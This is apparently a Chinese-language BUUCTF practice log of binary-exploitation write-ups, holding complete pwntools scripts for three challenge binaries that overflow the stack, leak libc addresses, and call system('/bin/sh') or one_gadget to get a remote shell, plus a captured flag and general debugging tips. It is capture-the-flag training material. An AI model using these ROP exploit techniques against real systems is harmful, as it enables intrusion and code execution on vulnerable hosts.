filename="/root/bjdctf_2020_babyrop"
if  isLocal:
    p=process(filename,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"})#

    pause()
else :
    p=remote("node4.buuoj.cn",29054)

elf=ELF(filename)
#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

pop_rdi=0x0000000000400733 #: pop rdi ; ret

puts_plt = elf.plt['puts']
main_got = elf.got['read']
main_addr = elf.sym['main']


#泄露libc
payload = 'a'.encode() * (0x20 + 8) + p64(pop_rdi)+p64(main_got) +p64(puts_plt) + p64(main_addr) #re jmp to main
p.sendlineafter(b'Pull up your sword and tell me u story!\n',payload)

read_addr=u64(p.recv(6).ljust(8,b"\x00"))#0 padding (right padding 0) !!!! 

##  little pad \xx\xx\xx\xx\xx\x7f\x00\x00

#seacher搜索libc,getshell
print(b"leadaddr:"+str(read_addr).encode())

libc = LibcSearcher('read', read_addr)
#ubuntu 18.04 libc:2.27 (7)
#flag{4a861532-2de7-457d-a5a3-bd5939d59608}
libc_base = read_addr -  libc.dump('read')

print("base:"+hex(libc_base))
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')

payload1 = 'a'.encode() * (0x20 + 8) + p64(pop_rdi)+p64(str_bin_sh)+ p64(system_addr)+ p64(main_addr) ##  run main

p.sendline(payload1)
p.interactive()

##  ubuntu 16 : libc2.23
           

铁人三项(第五赛区)2018_rop

0x00 题目描述

rop…ropp

0x01 题目分析

拖进IDA,看到main

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

很明显read会造成栈溢出。于是就开始动手吧~

0x02 exp

整体思路:

  1. 构造栈溢出泄露libc
  2. getshell
    1. one_gadget
    2. system调用

这边要注意的是,如果Libcsearcher无法通过远程,可以通过本地,可以去BUUCTF官网下载一下题目指定的libc,不同电脑的libcsearcher不一定收录了题目环境的libc.

LIBC下载地址:https://buuoj.cn/resources

题目环境:#ubuntu 18.04 libc:2.27 (7)

#coding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
context.arch="i386"

isLocal=0

if  isLocal:
    p=process("/root/2018_rop")#
    pause()
else :
    p=remote("node4.buuoj.cn",28200)

elf=ELF('/root/2018_rop')

write_plt = elf.plt['write']
read_got = elf.got['read']
main_addr = elf.sym['main']
payload = 'a'.encode() * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)
p.sendline(payload)
read_addr = u32(p.recv())
libc = LibcSearcher('read', read_addr)

libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
str_bin_sh = libc_base + libc.dump('str_bin_sh')
payload1 = 'a'.encode() * (0x88 + 4) + p32(system_addr) + p32(main_addr) + p32(str_bin_sh)
p.sendline(payload1)
p.interactive()




           

ciscn_2019_c_1

0x00 题目简介

CISCN:全国大学生信息安全竞赛

0x01 程序分析

IDA拖进看程序

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

基本的询问,输入1会进入一个encrypt的函数

进入encrypt函数

2021-08-30 BUUCTF刷题记录PWN2021-08-30 BUUCTF刷题记录

大概分析

  1. gets会造成栈溢出
  2. 里面是有对输入的字符串进行xor加密。

怎么办呢?

或许你可以选择将自己构造的溢出payload xor加密后,再上传。

但是最终我们的目标是getshell,这边还有一个漏洞知识

  • strlen遇到

    \x00

    会截断

也就是说,我们gets第一个字符串写

\x00

,后面填溢出payload,strlen(buf)是为0的

所以,我这里直接利用了strlen截断的方式绕过xor。后面,你就可以大胆的通过溢出干事了。。

0x02 exp

  • _start

    是调用

    main

    的函数(构造多重rop时注意修复栈内的返回地址,防止崩溃)

    整体思路:

  1. 通过栈溢出泄露gets地址,然后计算libc基地址
  2. 用one_gadget去getshell
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/ciscn_2019_c_1"
p = remote("node4.buuoj.cn",29324)
p.sendlineafter(b'choice!',b'1')

elf=ELF(name)
puts_plt=elf.plt['puts']
pop_rdi=0x0000000000400c83 #: pop rdi ; ret
gets_got=elf.got['gets']
start_=elf.sym['_start']

#泄露libc
payload=b'\x00'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(gets_got)+p64(puts_plt)+p64(start_)
p.sendlineafter("d\n",payload)
p.recvuntil(b"Ciphertext\n\n")



#getshell
gets_got=u64(p.recv(6).ljust(8,b'\x00'))
libc=ELF("./x64/libc-2.27_buuctf.so")
libc_base=gets_got-libc.sym['gets']

one_gadget=0x4f322+libc_base

payload=b'\x00'+b'a'*(0x50-1+8)+p64(one_gadget)+p64(start_)
p.sendlineafter(b'choice!',b'1')
p.sendlineafter("d\n",payload)


p.interactive() 


"""libc2.27
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

"""

           

基础知识

top命令 查看主要进程信息

vscode中
Ctrl+F5 快速运行代码

sudo apt remove xx 删除软件

如何打包一个文件夹为压缩包?
tar -cvf 压缩包名 文件夹

新方法checksec
pwn checksec /root/2019_OPPO*

经验,要使用Libcsearcher
搜索后先把dump,使用对象的函数写上,否则搜索不输出

ls - alh 输出详细的目录列表

更快的 attach办法(第二):
程序内部pause(),记录Pid,去终端程序输入gdb 然后attach pid

python

global 变量名(可声明全局变量)

在gdb用x/查询地址时 用精确16进制地址才可偏移
x/100xb 查看100个字节的内存

alarm如何过掉?(超时报警)
到alarm函数改rdi 就是时间

分屏先用tmux命令启动